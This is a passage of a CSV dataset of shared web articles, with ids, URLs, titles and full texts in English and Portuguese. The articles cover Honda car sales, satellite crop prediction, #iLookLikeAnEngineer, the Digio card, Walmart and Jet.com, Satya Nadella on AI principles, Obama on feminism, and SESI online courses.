Botsman 2015; 07 / Rachel Botsman 2015; 08 / Rachel Botsman 2015; 09 / Rachel Botsman 2015; 10 / Rachel Botsman 2015; 11 / Rachel Botsman 2015; 12 / Rachel Botsman 2015;",en
1470318792,CONTENT SHARED,-5679515279292214033,-2337468721613240548,4221156670710402439,,,,HTML,http://carplace.uol.com.br/mulheres-ja-respondem-por-50-das-vendas-via-consorcio-da-honda/,Honda: mulheres já respondem por 50% das vendas via consórcio,"A atual crise econômica tem provocado uma mudança no comportamento do consumidor brasileiro. Se o número de financiamentos para compras de veículos tem caído sistematicamente, as vendas via consórcio estão registrando aumentos expressivos. De acordo com o fechamento realizado pela Honda neste primeiro semestre, as vendas de cotas de consórcio de automóveis para mulheres quadruplicaram nos últimos cinco anos. Na comparação com o mesmo período do ano passado, a administradora de consórcio verificou aumento de 42%. HR-V, Fit e City são os automóveis mais vendidos via consórcio para o público feminino, que já representa cerca de 50% das entregas de cada modelo. As principais clientes desta modalidade são as mulheres na faixa de 31 a 40 anos. ""Previsibilidade e segurança são atributos cada vez mais procurados pelo consumidor brasileiro na hora da compra. Organizadas e comprometidas com a renda familiar, as mulheres buscam alternativas que permitam a compra do veículo 0 km sem surpresas indesejadas ao final do mês. É nesse contexto que o consórcio aparece como uma alternativa segura em meio à crise, pois oferece a vantagem de comprometer o cliente apenas com parcelas mensais que cabem no seu orçamento, além da ausência de juros"", explica o gerente geral Comercial da HSF, Alberto Pescumo. Fonte: Honda Publicidade",pt
1470329568,CONTENT SHARED,-6273159470243757969,-1443636648652872475,6669758861106392225,,,,HTML,http://www.theverge.com/2016/8/4/12369494/descartes-artificial-intelligence-crop-predictions-usda,This startup uses machine learning and satellite imagery to predict crop yields,"Mark Johnson wants to beat the United States Department of Agriculture at its own game: predicting yields of America's crops. The USDA puts boots on the ground, deploying hundreds of workers to survey thousands of farms a month ahead of the October corn harvest, America's biggest crop. Johnson's startup, Descartes Labs , has just 20 employees, and they never leave the office in Los Alamos, New Mexico. Instead, Descartes relies on 4 petabytes of satellite imaging data and a machine learning algorithm to figure out how healthy the corn crop is from space. Corn yield prediction is big business in the US. Billions of dollars are at stake along the ag supply chain each year as corn starts to come out of the ground in August. Grain elevator operators, ethanol producers, commodities traders, hedge funds, insurance companies, and even the farmers growing the corn will all look to the USDA's August crop report being released August 12th to try and understand how the supply side of the corn market will behave. Descartes says it can consistently out-predict the USDA's corn estimates Descartes, which launched in 2013, began releasing corn yield estimates ahead of the USDA's August crop report last year. Johnson says its model has consistently out-predicted the USDA's estimates at the national level at every point in the growing season. It beat the accuracy of the USDA's 2015 August predictions by a percentage point, according to numbers provided by Descartes. Now, Johnson says their algorithms have gotten even more precise, with a 2.5 percent average margin of error when run through historical backtests. Johnson argues that the depth and frequency of data his company is able to analyze is a game-changer in crop prediction. ""What's great about our techniques is that traditionally you have to talk to tons of farmers in the US to get a USDA-style number,"" Johnson tells The Verge . ""With machine learning techniques, with us, we look at tons of pixels from satellites, and that tells us what's growing."" shrinking sensors and cheap cloud computing It's a familiar narrative at the moment - companies across industries are tapping into large data sets accumulated by the proliferation of shrinking sensors and processing them using cheap cloud computing services from companies like Google and Amazon. The Weather Company, for example, just announced its hyper-local weather forecaster called Deep Thunder, which uses machine learning to crunch through historical weather reports to predict future conditions. But big data and machine learning are just one side of the equation with Descartes. The rise in popularity of nanosatellites - small satellites roughly the size of a shoebox - over the past five years has opened up a broad realm of possibilities for Descartes and startups like it. In the past, if a company wanted satellite imagery data, it would turn to US government-run satellite programs like Landsat or MODIS, which image the entire globe at 20- to 30-meter resolutions roughly once a week. Now new nanosatellite constellations, like the one run by satellite imaging startup Planet , are taking snapshots of the entire globe at 3- to 5-meter resolutions every day. The amount of imaging data being collected right now is enormous. ""One way to think about it,"" says Johnson, ""is that it took Landsat over 40 years to collect under a petabyte of data with 7 satellites. Planet will easily produce over a petabyte a year."" Companies have been increasingly using this data to analyze global trends. Satellite imagery provider DigitalGlobe helped Facebook create a map of 2 billion disconnected people across the world earlier this year. Orbital Insights tracks industrial development in China and monitors the parking lots of over 50 US retailers from space to gain insight into store traffic. Johnson and his partners chose to track agriculture for a few reasons. First, food scarcity and global climate change are pressing issues. Second, year's-worth of data sets already existed from images taken by Landsat and MODIS that could be used to train their machine learning models. Third, corn grows slowly, and farmers can benefit from observing it with extra-spectral bands like infrared, which both older and newer generations of imaging satellites record. Measuring chlorophyll from space Finally, and most importantly, Johnson says, it was a hard problem. ""It's not like a satellite looking at all the Walmart parking lots and picking out the cars,"" says Johnson. ""That's a problem of automation; it's something a human could do. What we do is an automation of what humans can't do."" Descartes uses spectral information, not visible to the human eye to measure chlorophyll levels. ""There are well-established methods for getting a proxy for crop health from chlorophyll levels,"" says Josh Alban, Planet's vice president of business development. Planet, which is formal partners with Descartes, provides it with data to calculate yield estimates and helps it build custom products for corporate clients. Johnson wouldn't provide the names of any of his company's clients, saying that people on the supply side of the ag business are very tight-lipped about where they get they get data. Sources familiar with the industry weren't surprised. Descartes says it analyzes satellite data of every single farm in the US on a daily basis (provided there is no cloud cover) and updates its corn yield prediction every two days. The USDA only updates its forecasts once a month. While the USDA provides country and statewide predictions, Descartes delivers both in addition to county-level predictions, which the USDA only provides at the end of the season, when those numbers matter less. Damien Lepoutre, founder of Geosys, a global crop and analytics company that has operated for nearly three decades, says the ability to deliver local estimates is paramount. ""One thing I've seen over the past 35 years is the complexities of agriculture,"" Lepoutre said. ""Agriculture is always local. You don't have the two same soils in different places. Every time is a bit different."" The hard part is building your neural network Geosys also analyzes spectral satellite data, as do other large players in the industry. But Lepoutre thinks recent advances in technology, including the specific focus on machine learning, give startups a better chance at surviving than they had in the past. It all comes down to a company's model, says Chris Curran, chief technologist at PriceWaterhouseCooper. ""The hard part is the training of your algorithm, the building of your neural network to actually create value out of your data."" ""With better satellites, better access to data, and more powerful algorithms, our models will continue to get better,"" Johnson says. And as Descartes accomplishes that, Johnson says they'll begin moving on to other crops (Descartes has already begun tracking soybeans) and other regions such as Brazil and Argentina, the Black Sea region, China, and the EU. After that, Johnson says his company has ambitions to better understand the planet as a living organism. Descartes, he says, aims to ""understand our natural resources, understanding how those resources move around, and then how we as humans change the planet.""",en
1470337037,CONTENT SHARED,6643427232964983922,-7606731662737258050,7886043073449621571,,,,HTML,https://medium.com/@isisAnchalee/ilooklikeanengineer-one-year-later-b599e0cae817,#iLookLikeAnEngineer: One Year Later,"#iLookLikeAnEngineer: One Year Later Today I have all the feels. A year and some change ago I was asked to participate in a BART station recruiting campaign as a software engineer for OneLogin... Today in particular, marks the exact date one year ago when I shared the tweet that gave birth to #iLookLikeAnEngineer. Never in a million years would I have guessed that one year later people would still be proudly sharing the hashtag and using it as a source for building community. Because it developed a life of its own, I'm not even aware of the entirety of the extent that it has reached(while Googling I even saw an #iLookLikeAnEngineer event in Munich Germany etc.). So, I'd like to share some of the highlights that have been very special to me: Including Scott Kelly in space: When Goldieblox created this Fast-Forward Girls 2015 video: When this happened, because Emma Watson & The UN: When multiple people have reached out to me and expressing that the #iLookLikeAnEngineer movement gave them the confidence that they needed to change careers and pursue learning how to code. Then when TeeSpring came out with(and was profiting off of)this line of horribly tone-deaf shirts without anyone's permission: And finally(my favorite part) when I got to meet some of the most amazing people I've ever met in my life, like this amazing human right here and the rest of our Mind Makers team: When created these amazing 'I'm an engineer, bitch.' shirts: When Twitter threw an #iLookLikeAnEngineer event to kick off the Twitter Flight Developer Conference: That time they asked me to speak on the main stage at GHC 2016 in front of 6k people: When I was interviewed by Google's Made With Code: When I got to speak at NASA and saw posters of my face there :O :O **giggles like school girl** When #iLookLikeAnEngineer made it into Google's Year in Search compilation: This list doesn't even come close to covering all of the wonderful facets of #iLookLikeAnEngineer, & I'd love to hear your story. I am endlessly grateful to have been able to be a voice in this conversation for those who feel that they need to sacrifice pieces of their identity to be treated with respect. Some of the conversations that I have had with you after speaking at events have forever touched my heart. The stories that I've heard, and the tears that I have seen shed. You are not alone. The system is pretty shitty sometimes, but it takes effort from all of us to make it better. I will continue speaking up. Embodying the principle that anyone(yes anyone;)) can be femme as **** and still kick ass at what they do. Because #iLookLikeAnEngineer, and so do you :) P.S I'm now a software engineer under the Driver Engagement umbrella at Uber and my team is hiring. If you're interested in solving some really interesting challenges with some really passionate/smart/kind humans, send me a resume/cover letter and what position you're interested in at [email protected] ! Xo, Isis Anchalee",en
1470339055,CONTENT SHARED,-8243488279185272615,-1602833675167376798,-8527471549744389578,,,,HTML,https://pagamento.me/elopar-lanca-o-digio-cartao-para-brigar-com-nubank/,"Elopar lança o ""Digio"", cartão para brigar com Nubank","Elopar lança o Digio , o concorrente do Nubank. Criada através da holding do Bradesco e BB, o grupo Elopar é um dos maiores conglomerados do Brasil. Dentro dele, empresas como Alelo (líder de mercado), Stelo (subadquirente) e Livelo (fidelidade), são os motores do grupo para mover boa parte do mercado financeiro no país. Lá dentro, eles também têm um banco, o CBSS , que acabou de ""parir"" seu novo filho, o Digio . O Digio vai conseguir seguir os passos do Nubank? Alguns palpites enxergam que o Nubank está perto de 1 milhão de cartões emitidos. E ainda tem a fila de espera, que chega às dezenas de milhares. Não há dúvida sobre a escala do ""roxinho"". Ele provou algo que bancos até então, não olhavam como um negócio 100% digital. Há quem diga: ""ah mas os bancos já tinham cartões sem anuidade. O que ele fizeram foi somente empacotar isso num aplicativo bonitinho."" Se a gente olhar os números captados pela empresa e a velocidade de crescimento da carteira de clientes, a combinação parece um tanto complexa de se criar uma fórmula. Não há dúvida que a combinação de conceitos do Vale do Silício (David Vélez, co-fundador da empresa, era responsável pelo fundo Sequoia no Brasil) mais uma potente estratégia de marketing, pode sim criar um pequeno gigante e o Nubank, já é um grande case de aquisição de cliente. Além de serem a fintech mais expressiva da América Latina, o Nubank ainda prepara novas viradas de chave, que vão mudar o jogo completamente, pelo menos para o modelo digital financeiro. Eles conseguiram provar que a emissão massiva de cartões, pode ser feita através de tecnologia e não somente de distribuição de pontos de venda. Isso os bancos tradicionais terão que aprender. O Digio, que tem um respaldo financeiro potente por trás e chega no mercado brasileiro com um grande caminho pela frente, num modelo já testado e validado pelo Nubank, pela startup ContaUm (que divulga ter milhares de cartões emitidos) e também pela chegada de novos bancos como Neon e o próprio Original. O Digio, que foi anunciado ontem, chega com esse respaldo econômico e com o suporte da Visa, exatamente no contraponto do Nubank (que tem a Mastercard do lado). Apesar da Elopar ser formada por Bradesco e BB, a empresa seguirá independente, funcionando dentro da holding assim como as outras empresas do grupo. Como uma divisão do banco CBSS. Diferente do Nubank, o Digio não precisa de convite para aprovar usuários. Assim como os aplicativos já disponíveis do mercado, o Digio faz todo processo de cadastro e gestão financeira dos gastos através de um aplicativo. E não vai cobrar tarifas. Esse é um teste (que o Nubank terá) e uma briga que vamos gostar de assistir. De fato, em termos de comunicação, pode embolar um pouco o jogo (no público alvo) de ambos os cartões. Mas é muito importante o Digio ter na cabeça, que esse é um jogo de produto e marketing.",pt
1470339658,CONTENT SHARED,-8658069499367979499,-8694104221113176052,-5563974637462864279,,,,HTML,https://www.linkedin.com/pulse/why-walmart-wants-buy-jetcom-what-you-need-know-deal-michelle-malison,Why Walmart wants to buy Jet.com and what you need to know about the potential deal,"It was recently announced that Wal-Mart Stores Inc. is in discussion to acquire an up and coming US etailer, Jet.com. Jet.com seeks to revolutionize the logistics of ecommerce Marc Lore founded Jet.com just last year in July 2015. He's known for his previous ecommerce ventures such as Quidisi.com. Jet.com raised more than US$500 million in less than a year, and was highly anticipated to capture a large share of the growing ecommerce market in the US. Jet.com differentiated itself from other ecommerce retailers through its real-time savings engine that gives customers the power to drop prices while they shop. Through this technology, Jet sought to revolutionize ecommerce logistics by calculating in real-time the most efficient way to fulfill orders and pass those savings onto shoppers. Jet.com showed impressive growth within a year Based on the data released by the company in July 2016, the etailer has shown impressive topline growth, crossing a US$1 billion run rate in gross merchandise value (GMV) with over 4 million shoppers on its platform. Executives from Jet.com have also emphasized that customers are, in fact, embracing Jet's real-time savings technology by building large baskets with over six units per order and a relatively high average order value of over US$80. In July 2016, executives from Jet.com revealed that the company is still heavily investing in its brand-building efforts and had not yet reached profitability. As ecommerce sees continued growth, retailers both online and offline are ramping up their ecommerce efforts. With the rise of omnichannel retailing, perfecting ecommerce services will be key to future growth for all types of retailers. Wal-Mart is likely after Jet's assets other than gross merchandise value Even though Jet.com reached an impressive run rate of US$1 billion in less than a year, US$1 billion is not much in the big world of ecommerce (less than 1% of the total market in 2015). Therefore, it is likely that Wal-Mart would like other things from Jet.com (described below) other than gross merchandise value from this acquisition. However, it could be that Wal-Mart believes in Jet's ambitious five-year growth plans to reach US$20 billion in gross merchandise volume by 2020. Growing from zero to US$20 billion in five years is faster growth than what Walmart.com has achieved from 2010 to 2015, so there is a chance that the acquisition is for online GMV growth. But even at US$20 billion in 2020, Jet.com would only have 4% of the ecommerce market in the US. Acquiring Jet.com will enable Wal-Mart to become more competitive online Despite its uncontested dominance in US store-based retailing with 13% market share (followed by Kroger with just 4% market share), Walmart ranks 4th in ecommerce sales with just 3% market share. The leader of US internet retailing is Amazon.com with over 31% market share. Acquiring Jet.com would allow Walmart to become more competitive with etail giants such as Amazon and eBay, as Jet's innovative ecommerce practices would greatly assist Wal-Mart to improve its online services. By strategically locating its distribution centers and streamlining its logistics, Jet has doubled its one-day delivery (of its own first-party products) penetration rate from 25% to 50% of US households since its launch, and is approaching 99% of US households for two-day delivery. In select high-density regions such as New York City, Jet often is able to offer same-day delivery at no additional cost to both Jet and its shoppers. Wal-Mart will gain significantly from Jet's logistics and delivery expertise. Additionally, Jet.com has already expanded into grocery delivery, something that Wal-Mart has yet to experiment with. Although Jet is still in its trial period for grocery delivery, the etailer has received positive feedback from customers. Jet's learnings from this experience can greatly add to Wal-Mart's very likely attempt at grocery delivery in the near future. Furthermore, Wal-Mart has recently been making a bigger push into the marketplace model, which aligns well with Jet's model. Jet.com has 2,300 retailers selling on its platform and 12 million products. Both companies are working to increase their product portfolios by working with committed sellers, and by supporting their sellers with technology. Other bidders may emerge In the past, Wal-Mart had discussed the possibility of acquiring Quidsi, Marc Lore's previous company, but did not move quickly enough. Instead, Amazon.com acquired Quidsi in 2011 for US$545 million and integrated the company into its business. It will be interesting to see if other bidders emerge.",en
1470341738,CONTENT SHARED,3296513714237850943,3829784524040647339,7785325015826675297,,,,HTML,http://www.slate.com/articles/technology/future_tense/2016/06/microsoft_ceo_satya_nadella_humans_and_a_i_can_work_together_to_solve_society.html,Microsoft's CEO Explores How Humans and A.I. Can Solve Society's Challenges-Together,"Justin Sullivan/Getty Images Advanced machine learning, also known as artificial intelligence or just A.I., holds far greater promise than unsettling headlines about computers beating humans at games like , chess, checkers, and Go . Ultimately, humans and machines will work together-not against one another. Computers may win at games, but imagine what's possible when human and machine work together to solve society's greatest challenges like beating disease, ignorance, and poverty. Doing so, however, requires a bold and ambitious approach that goes beyond anything that can be achieved through incremental improvements to current technology. Now is the time for greater coordination and collaboration on A.I. I caught a glimpse of what this might yield earlier this year while standing onstage with Saqib Shaikh, an engineer at Microsoft , who has developed technology to help compensate for the sight he lost at a very young age. Leveraging a range of leading-edge technologies, including visual recognition and advanced machine learning, Saqib and his colleagues created applications that run on a small computer that he wears like a pair of sunglasses. The technology disambiguates and interprets data in real time. In essence, technology paints a picture of the world for him audibly instead of visually. He experiences the world in richer ways, like connecting a noise on the street to a skateboarder or sudden silence in a meeting to what co-workers might be thinking. He can ""read"" a menu as his technology whispers in his ear. Perhaps most important to him, he finds his own loved ones in a bustling park where they've gathered for a picnic. The beauty of machines and humans working in tandem gets lost in the discussion about whether A.I. is a good thing or a bad thing. Our perception of A.I. seems trapped somewhere between the haunting voice of HAL in 2001: A Space Odyssey and friendlier voices in today's personal digital assistants-Cortana, Siri, and Alexa. We can daydream about how to use our spare time when machines drive us places, do our chores, help us make better decisions. Or we can fear a robot-induced massive economic dislocation later this century. Depending on whom you listen to, the so-called ""singularity,"" that moment when computer intelligence will surpass human intelligence, might occur by the year 2100-or it's simply the stuff of science fiction. I would argue that perhaps the most productive debate we can have isn't one of good versus evil: The debate should be about the values instilled in the people and institutions creating this technology. In his book Machines of Loving Grace , John Markoff writes, ""The best way to answer the hard questions about control in a world full of smart machines is by understanding the values of those who are actually building these systems."" It's an intriguing question, and one that our industry must discuss and answer together. At a developer conference earlier this year , I shared our approach to A.I. First, we want to build intelligence that augments human abilities and experiences. Ultimately, it's not going to be about human vs. machine. We humans have creativity, empathy, emotion, physicality, and insight that can then be mixed with powerful A.I. computation-the ability to reason over large amounts of data and do pattern recognition more quickly-to help move society forward. Second, we also have to build trust directly into our technology. We must infuse technology with protections for privacy, transparency, and security. A.I. devices must be designed to detect new threats and devise appropriate protections as they evolve. And third, all of the technology we build must be inclusive and respectful to everyone. This approach is a start, but we can go further. The tech industry should not dictate the values and virtues of this future. Science-fiction writer Isaac Asimov also provides a good, though ultimately inadequate, start: In the 1940s, he conceived the "" Three Laws of Robotics "" to serve as an ethical code for the robots in his stories. Asimov's Laws are hierarchical, with the first taking priority over the second and the second taking priority over the third. First, robots should never harm a human being through action or inaction. Second, they must obey human orders. Third, they must protect themselves. Each law cannot conflict with the other. While Asimov's Laws have served as a convenient and instructive device, they don't provide the values or design principles that researchers and tech companies should articulate. Nor do they speak to society about the capabilities humans must bring into this next era when A.I. and machine learning will drive ever-larger parts of our economy. Computer pioneer Alan Kay quips, ""The best way to predict the future is to invent it."" In the A.I. context, he's basically saying, Stop predicting what the future will be like and create it in a principled way . I agree. Like any software design challenge, that principled approach begins with the platform you're building upon. In software development terms A.I. is becoming a third ""run time""-the next platform. In computer science, a run time is the system on top of which programmers build and execute applications. In other words, we wrote Office, with applications like Word and PowerPoint, for the PC. Today Office 365, which includes Office, Skype, and Outlook, are written for the web. In an A.I. and robotics world, these productivity and communication tools will be written for an entirely new platform, one that doesn't just manage information but also learns from information and interacts with the physical world. What that platform, or third run time, will look like is being built today. I remember reading Bill Gates' ""Internet Tidal Wave"" memo in the spring of 1995. In it, he foresaw the internet's impact on connectivity, hardware, software development, and commerce. More than 20 years later we are looking ahead to a new tidal wave-an A.I. tidal wave. So what are the universal design principles and values that should guide our thinking, design, and development? A few people are taking the lead on this question. Cynthia Breazeal at the MIT Media Lab has devoted her life to exploring a more humanistic approach to artificial intelligence and robotics. She argues that technologists often ignore social and behavioral aspects of design. In a recent conversation, Cynthia said we are the most social and emotional of all the species, yet we spend little time thinking about empathy in the design of technology. She said, ""After all, how we experience the world is through communications and collaboration. If we are interested in machines that work with us, then we can't ignore the humanistic approach."" To that end, I have reflected on what are the principles and goals, as an industry and a society, that we should discuss and debate. A.I. must be designed to assist humanity: As we build more autonomous machines, we need to respect human autonomy. Collaborative robots, or co-bots, should do dangerous work like mining, thus creating a safety net and safeguards for human workers. A.I. must be transparent: We should be aware of how the technology works and what its rules are. We want not just intelligent machines but intelligible machines. Not artificial intelligence but symbiotic intelligence. The tech will know things about humans, but the humans must know about the machines. People should have an understanding of how the technology sees and analyzes the world. Ethics and design go hand in hand. A.I. must maximize efficiencies without destroying the dignity of people: It should preserve cultural commitments, empowering diversity. We need broader, deeper, and more diverse engagement of populations in the design of these systems. The tech industry should not dictate the values and virtues of this future. A.I. must be designed for intelligent privacy-sophisticated protections that secure personal and group information in ways that earn trust. A.I. must have algorithmic accountability so that humans can undo unintended harm. We must design these technologies for the expected and the unexpected. A.I. must guard against bias, ensuring proper, and representative research so that the wrong heuristics cannot be used to discriminate. But there are ""musts"" for humans, too-particularly when it comes to thinking clearly about the skills future generations must prioritize and cultivate. To stay relevant, our kids and their kids will need: Empathy -Empathy, which is so difficult to replicate in machines, will be valuable in the human-A.I. world. Perceiving others' thoughts and feelings, collaborating and building relationships will be critical. Education -Some argue that because lifespans will increase, birth rates will decline, and thus spending on education will decline. But I believe that to create and manage innovations we cannot fathom today, we will need increased investment in education to attain higher level thinking and more equitable education outcomes. Developing the knowledge and skills needed to implement new technologies on a large scale is a difficult social problem that takes a long time to resolve. There is a direct connection between innovation, skills, wages, and wealth. The power loom was invented in 1810 but took 35 years to transform the clothing industry because there were not sufficient trained mechanics to meet demand. Creativity -One of the most coveted human skills is creativity, and this won't change. Machines will continue to enrich and augment our creativity. In a recent interview, novelist Jhumpa Lahiri was asked why an author with such a special voice in English chose to create a new literary voice in Italian, her third language: ""Isn't that the point of creativity, to keep searching?"" Judgment and accountability -We may be willing to accept a computer-generated diagnosis or legal decision, but we will still expect a human to be ultimately accountable for the outcomes. And what is to become of equality? Will automation lead to greater or lesser equality? On the one hand, we're told not to worry about it. Throughout history, substitutes for human labor have always made workers richer, not poorer. On the other hand, we're told that economic displacement will be so extreme that entrepreneurs, engineers, and economists should adopt a "" new grand challenge ""-a promise to design only technology that complements rather than substitutes human labor. In other words, we business leaders must replace our labor-saving and automation mindset with a maker-and-creation mindset. The trajectory of A.I. and its influence on society is only beginning. To truly grasp the meaning of this coming era will require in-depth, multi-constituent analysis. My colleague Eric Horvitz in Microsoft Research is a pioneer in the A.I. field and has been asking these questions himself for many years. Eric and his family have personally helped to fund Stanford University's One Hundred Year Study ; each year for the coming century, it will report on near-term and long-term socioeconomic, legal, and ethical issues that may come with the rise of competent intelligent computation, the changes in perceptions about machine intelligence, and likely changes in human-computer relationships. While there is no clear road map for what lies ahead, in previous industrial revolutions we've seen society transition, not always smoothly, through a series of phases. First, we invent and design the technologies of transformation, which is where we are today. Second, we retrofit for the future. For example, drone pilots need training; old cars' steering wheel might need to be removed as they are converted to autonomous vehicles. Third, we navigate distortion, dissonance, and dislocation. What is a radiologist's job when the machines can read the X-ray better? What is the function of a lawyer when computers can detect patterns in millions of documents that no human can spot? But if we've incorporated the right values and design principles, and if we've prepared ourselves for the skills we as humans will need, humans and society can flourish. Writing for the New York Times , cognitive scientist and philosopher Colin Allen concludes , ""Just as we can envisage machines with increasing degrees of autonomy from human oversight, we can envisage machines whose controls involve increasing degrees of sensitivity to things that matter ethically. Not perfect machines, to be sure, but better."" The most critical next step in our pursuit of A.I. is to agree on an ethical and empathic framework for its design. This article is part of Future Tense , a collaboration among Arizona State University , New America , and . Future Tense explores the ways emerging technologies affect society, policy, and culture. To read more, follow us on Twitter and sign up for our weekly newsletter .",en
1470344182,CONTENT SHARED,400125073514833994,-5527145562136413747,8944521122521322718,,,,HTML,http://www.glamour.com/story/glamour-exclusive-president-barack-obama-says-this-is-what-a-feminist-looks-like,Glamour Exclusive: President Obama On Feminism and The World He Wants to Leave His Daughters,"There are a lot of tough aspects to being President. But there are some perks too. Meeting extraordinary people across the country. Holding an office where you get to make a difference in the life of our nation. Air Force One. But perhaps the greatest unexpected gift of this job has been living above the store. For many years my life was consumed by long commutes­-from my home in Chicago to Springfield, Illinois, as a state senator, and then to Washington, D.C., as a United States senator. It's often meant I had to work even harder to be the kind of husband and father I want to be. But for the past seven and a half years, that commute has been reduced to 45 seconds-the time it takes to walk from my living room to the Oval Office. As a result, I've been able to spend a lot more time watching my daughters grow up into smart, funny, kind, wonderful young women. That isn't always easy, either-watching them prepare to leave the nest. But one thing that makes me optimistic for them is that this is an extraordinary time to be a woman. The progress we've made in the past 100 years, 50 years, and, yes, even the past eight years has made life significantly better for my daughters than it was for my grandmothers. And I say that not just as President but also as a feminist. In my lifetime we've gone from a job market that basically confined women to a handful of often poorly paid positions to a moment when women not only make up roughly half the workforce but are leading in every sector, from sports to space, from Hollywood to the Supreme Court. I've witnessed how women have won the freedom to make your own choices about how you'll live your lives-about your bodies, your educations, your careers, your finances. Gone are the days when you needed a husband to get a credit card. In fact, more women than ever, married or single, are financially independent. So we shouldn't downplay how far we've come. That would do a disservice to all those who spent their lives fighting for justice. At the same time, there's still a lot of work we need to do to improve the prospects of women and girls here and around the world. And while I'll keep working on good policies-from equal pay for equal work to protecting reproductive rights-there are some changes that have nothing to do with passing new laws. In fact, the most important change may be the toughest of all-and that's changing ourselves. This is something I spoke about at length in June at the first-ever White House Summit on the United State of Women. As far as we've come, all too often we are still boxed in by stereotypes about how men and women should behave. One of my heroines is Congresswoman Shirley Chisholm, who was the first African American to run for a major party's presidential nomination. She once said, ""The emotional, sexual, and psychological stereotyping of females begins when the doctor says, 'It's a girl.' "" We know that these stereotypes affect how girls see themselves starting at a very young age, making them feel that if they don't look or act a certain way, they are somehow less worthy. In fact, gender stereotypes affect all of us, regardless of our gender, gender identity, or sexual orientation. Now, the most important people in my life have always been women. I was raised by a single mom, who spent much of her career working to empower women in developing countries. I watched as my grandmother, who helped raise me, worked her way up at a bank only to hit a glass ceiling. I've seen how Michelle has balanced the demands of a busy career and raising a family. Like many working mothers, she worried about the expectations and judgments of how she should handle the trade-offs, knowing that few people would question my choices. And the reality was that when our girls were young, I was often away from home serving in the state legislature, while also juggling my teaching responsibilities as a law professor. I can look back now and see that, while I helped out, it was usually on my schedule and on my terms. The burden disproportionately and unfairly fell on Michelle. So I'd like to think that I've been pretty aware of the unique challenges women face-it's what has shaped my own feminism. But I also have to admit that when you're the father of two daughters, you become even more aware of how gender stereotypes pervade our society. You see the subtle and not-so-subtle social cues transmitted through culture. You feel the enormous pressure girls are under to look and behave and even think a certain way. And those same stereotypes affected my own consciousness as a young man. Growing up without a dad, I spent a lot of time trying to figure out who I was, how the world perceived me, and what kind of man I wanted to be. It's easy to absorb all kinds of messages from society about masculinity and come to believe that there's a right way and a wrong way to be a man. But as I got older, I realized that my ideas about being a tough guy or cool guy just weren't me. They were a manifestation of my youth and insecurity. Life became a lot easier when I simply started being myself. So we need to break through these limitations. We need to keep changing the attitude that raises our girls to be demure and our boys to be assertive, that criticizes our daughters for speaking out and our sons for shedding a tear. We need to keep changing the attitude that punishes women for their sexuality and rewards men for theirs. We need to keep changing the attitude that permits the routine harassment of women, whether they're walking down the street or daring to go online. We need to keep changing the attitude that teaches men to feel threatened by the presence and success of women. We need to keep changing the attitude that congratulates men for changing a diaper, stigmatizes full-time dads, and penalizes working mothers. We need to keep changing the attitude that values being confident, competitive, and ambitious in the workplace-unless you're a woman. Then you're being too bossy, and suddenly the very qualities you thought were necessary for success end up holding you back. We need to keep changing a culture that shines a particularly unforgiving light on women and girls of color. Michelle has often spoken about this. Even after achieving success in her own right, she still held doubts; she had to worry about whether she looked the right way or was acting the right way-whether she was being too assertive or too ""angry."" As a parent, helping your kids to rise above these constraints is a constant learning process. Michelle and I have raised our daughters to speak up when they see a double standard or feel unfairly judged based on their gender or race-or when they notice that happening to someone else. It's important for them to see role models out in the world who climb to the highest levels of whatever field they choose. And yes, it's important that their dad is a feminist, because now that's what they expect of all men. It is absolutely men's responsibility to fight sexism too. And as spouses and partners and boyfriends, we need to work hard and be deliberate about creating truly equal relationships. The good news is that everywhere I go across the country, and around the world, I see people pushing back against dated assumptions about gender roles. From the young men who've joined our It's On Us campaign to end campus sexual assault, to the young women who became the first female Army Rangers in our nation's history, your generation refuses to be bound by old ways of thinking. And you're helping all of us understand that forcing people to adhere to outmoded, rigid notions of identity isn't good for anybody-men, women, gay, straight, transgender, or otherwise. These stereotypes limit our ability to simply be ourselves. This fall we enter a historic election. Two hundred and forty years after our nation's founding, and almost a century after women finally won the right to vote, for the first time ever, a woman is a major political party's presidential nominee. No matter your political views, this is a historic moment for America. And it's just one more example of how far women have come on the long journey toward equality. I want all of our daughters and sons to see that this, too, is their inheritance. I want them to know that it's never been just about the Benjamins; it's about the Tubmans too. And I want them to help do their part to ensure that America is a place where every single child can make of her life what she will. That's what twenty-first century feminism is about: the idea that when everybody is equal, we are all more free. Barack Obama is the forty-fourth President of the United States.",en
1470347152,CONTENT SHARED,3965818599169726564,-5527145562136413747,8944521122521322718,,,,HTML,http://oincrivelze.com.br/2016/08/sesi-oferece-curso-de-libras-com-certificacao-de-40-horas/,Sesi oferece curso de LIBRAS com certificação de 40 horas,"Na atualidade, realizar cursos online se tornou bastante importante, onde as pessoas correm contra o tempo e possuem um computador sempre em mãos. Além de facilitar a especialização em diversas áreas, os cursos online estão facilmente à disposição das pessoas na web e ajudam os profissionais a melhorarem seus currículos. A maior vantagem é que você pode aperfeiçoar seus conhecimentos, através de uma conceituada instituição de ensino, por um preço abaixo dos cursos presenciais e sem a necessidade de sair de casa. É o aluno quem decide quando e como estudar. O SESI está oferecendo 24 cursos gratuitos a distância abertos para toda a população. Detalhes sobre eles estão sendo disponibilizados no site oficial ( ). Interessados já podem se inscrever. As são limitadas. A primeira coisa a ser feita é fazer o cadastro no link: Depois disso, usando seu login e senha cadastrados, entre no site e clique em ""catálogo de cursos"", que fica próximo ao seu nome. Ao clicar neste local vai aparecer a lista completa de cursos. Basta clicar na seta azul, existente na lateral de cada um deles, e depois, caso tenha interesse real no tema, clicar em cima do nome do #Curso. Vai abrir uma janela pequena, com mais dados sobre ele e com o local para inscrição. Se for se inscrever, clique em ""participar do curso"" e, em seguida, em ""sim"". Sua inscrição está feita. É só começar a estudar. Não se esqueça de colocar o nome correto, pois é ele o usado para a declaração emitida de que você concluiu o curso. Lembre-se também de que há um prazo máximo para que o curso #Gratuito do SESI seja finalizado. Isso será informado na sua página pessoal da plataforma. COM INFORMAÇÕES ADAPTADAS DA Blasting News",pt
